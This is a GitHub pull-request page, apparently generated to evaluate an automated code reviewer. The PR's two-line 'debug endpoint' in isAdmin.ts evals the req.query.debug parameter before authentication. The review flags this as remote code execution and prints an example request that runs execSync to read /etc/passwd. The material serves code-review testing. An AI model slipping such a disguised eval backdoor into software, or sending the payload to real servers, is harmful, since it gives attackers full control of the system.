-
Notifications
You must be signed in to change notification settings - Fork 1
feat: Add debug endpoint for development #18
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Conversation
WalkthroughA debug query parameter was added to the Changes
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes
Poem
Pre-merge checks and finishing touches❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✨ Finishing touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Actionable comments posted: 1
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
apps/api/v1/lib/utils/isAdmin.ts(1 hunks)
🧰 Additional context used
📓 Path-based instructions (3)
**/*.ts
📄 CodeRabbit inference engine (.cursor/rules/review.mdc)
**/*.ts: Avoid dot-suffixes like.service.tsor.repository.tsfor new files; reserve.test.ts,.spec.ts,.types.tsfor their specific purposes
For Prisma queries: only select data you need usingselectinstead ofincludeto reduce performance overhead and prevent unnecessary data exposure, especially for sensitive fields likecredential.key
Never return thecredential.keyfield from tRPC endpoints or APIs
Check if there's any O(n^2) logic in backend code; aim for O(n log n) or O(n) complexity ideally
Flag excessive Day.js use in performance-critical code. Functions like.add,.diff,.isBefore, and.isAfterare slow in timezone mode. Prefer.utc()for better performance. Where possible, use native Date and direct.valueOf()comparisons in hot paths like loops
When changes to API v2 or v1 are made, ensure there are no breaking changes on existing endpoints. Instead, create newly versioned endpoints with updated functionality while keeping old endpoints functional
Files:
apps/api/v1/lib/utils/isAdmin.ts
**/*.{ts,tsx,js,jsx}
📄 CodeRabbit inference engine (.cursor/rules/review.mdc)
**/*.{ts,tsx,js,jsx}: Prefer early returns. It is recommended to throw/return early to ensure null-checks and prevent further nesting
Check if there are circular references introduced. Never allow circular references
Files:
apps/api/v1/lib/utils/isAdmin.ts
**/*.{ts,tsx,jsx}
📄 CodeRabbit inference engine (.cursor/rules/review.mdc)
Prefer Composition over Prop Drilling. Instead of relying on prop drilling, use React's children feature
Files:
apps/api/v1/lib/utils/isAdmin.ts
🪛 Biome (2.1.2)
apps/api/v1/lib/utils/isAdmin.ts
[error] 11-11: eval() exposes to security risks and performance issues.
See the MDN web docs for more details.
Refactor the code so that it doesn't need to call eval().
(lint/security/noGlobalEval)
| const debug = req.query.debug; | ||
| if (debug) eval(debug as string); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🚨 CRITICAL: Remove this Remote Code Execution (RCE) vulnerability immediately.
This code introduces a catastrophic security vulnerability:
- Unauthenticated RCE: The
eval()executes before any authentication check (line 12), allowing any attacker to run arbitrary code on your server. - Complete system compromise: An attacker can exfiltrate secrets, access the database, pivot to internal networks, or destroy the system entirely.
- Example exploit:
GET /api/v1/...?debug=require('child_process').execSync('cat /etc/passwd')
There is no safe way to use eval() with user-supplied input. This code must be removed entirely—not fixed, not gated behind authentication, not sanitized. Debug tooling should never allow arbitrary code execution in production or any publicly accessible environment.
- const debug = req.query.debug;
- if (debug) eval(debug as string);If you need debugging capabilities, consider:
- Structured logging with appropriate log levels
- Feature flags controlled via environment variables
- A separate, isolated debug service only accessible in development environments with proper network controls
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| const debug = req.query.debug; | |
| if (debug) eval(debug as string); |
🧰 Tools
🪛 Biome (2.1.2)
[error] 11-11: eval() exposes to security risks and performance issues.
See the MDN web docs for more details.
Refactor the code so that it doesn't need to call eval().
(lint/security/noGlobalEval)
Evaluation PR
This PR was automatically created for evaluation purposes.
Original PR: N/A
Details
Original Description
What does this PR do?
Adds a debug endpoint that allows executing code snippets for development and troubleshooting purposes.
Changes
Generated by coderabbit evaluation framework
Summary by CodeRabbit
Note: This release contains primarily internal improvements with no direct impact to user-facing functionality.
✏️ Tip: You can customize this high-level summary in your review settings.